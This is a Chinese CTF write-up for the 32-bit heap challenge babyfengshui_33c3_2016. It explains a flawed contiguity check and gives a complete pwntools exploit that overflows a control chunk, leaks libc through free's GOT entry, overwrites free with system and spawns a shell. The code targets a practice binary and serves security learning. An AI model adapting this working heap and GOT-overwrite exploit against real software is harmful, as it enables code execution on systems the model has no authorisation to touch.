image.png
    32位可以改got表
    创建堆块里有这个（就是一个控制堆块，前四字节存放内容堆块的地址，后面存放name）
    image.png
    漏洞的位置，一个判断的函数
    image.png
    其实我们申请的堆块不一定连续对吧，，所以只要利用堆申请的机制，我们就可以实现绕过

    1. creat(0x10,"aaaa",0x10,"bbbb")  #0
    2. creat(0x10,"cccc",0x10,"dddd")  #1
    3. creat(0x10,"name",0x10,"/bin/sh\x00")   #2
    5. free(0)
    6. #debug()
    7. payload = b'a'*0x80+p32(0x88)+p32(0x19)+b'a'*0x14+p32(0x89)+p32(free_got)
    9. creat(0x80,"aaaa",len(payload),payload)
    11. show(1)

    image.png
    这样中间的内存就可以随便改了
    既然got可改我们主要就是劫持got表咯

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level = 'debug'
    4. #context.arch = 'amd64'
    5. io =process('./babyfengshui_33c3_2016')
    6. #io = remote("node4.buuoj.cn",27629)
    7. elf = ELF('./babyfengshui_33c3_2016')
    8. #libc = ELF('libc-2.23.so')
    9. def debug():
    10.     gdb.attach(io)
    11.     pause()
    13. def creat(size,value,size1,value1):
    14.     io.recvuntil('Action: ')
    15.     io.sendline('0')
    16.     io.recvuntil('size of description: ')
    17.     io.sendline(str(size))
    18.     io.recvuntil('name: ')
    19.     io.sendline(value)
    20.     io.recvuntil('text length: ')
    21.     io.sendline(str(size1))
    22.     io.recvuntil('text: ')
    23.     io.sendline(value1)
    26. def free(id):
    27.     io.recvuntil('Action: ')
    28.     io.sendline('1')
    29.     io.recvuntil('index: ')
    30.     io.sendline(str(id))
    31. def show(i):
    32.     io.recvuntil('Action: ')
    33.     io.sendline('2')
    34.     io.recvuntil('index: ')
    35.     io.sendline(str(i))
    36. def update(index,value2):
    37.     io.recvuntil('Action: ')
    38.     io.sendline('3')
    39.     io.recvuntil('index: ')
    40.     io.sendline(str(index))
    41.     io.recvuntil('text length: ')
    42.     io.sendline(str(len(value2)))
    43.     io.recvuntil('text: ')
    44.     io.sendline(value2)
    45. free_got = elf.got["free"]
    46. creat(0x10,"aaaa",0x10,"bbbb")  #0
    47. creat(0x10,"cccc",0x10,"dddd")  #1
    48. creat(0x10,"name",0x10,"/bin/sh\x00")   #2
    50. free(0)
    51. #debug()
    52. payload = b'a'*0x80+p32(0x88)+p32(0x19)+b'a'*0x14+p32(0x89)+p32(free_got)
    54. creat(0x80,"aaaa",len(payload),payload)
    55. debug()
    56. show(1)
    58. io.recvuntil("description: ")
    59. free_addr = u32(io.recv(4))
    60. log.success("free_address:{}".format(hex(free_addr)))
    61. #pause()
    62. libc = LibcSearcher("free",free_addr)
    63. libcbase = free_addr - libc.dump('free')
    64. system_addr = libcbase+libc.dump('system')
    65. #one_gadget = libcbase+0xf02a4
    66. log.success("system_address:{}".format(hex(system_addr)))
    68. update(1,p32(system_addr))
    69. #debug()
    70. free(2)
    71. #debug()
    72. io.interactive()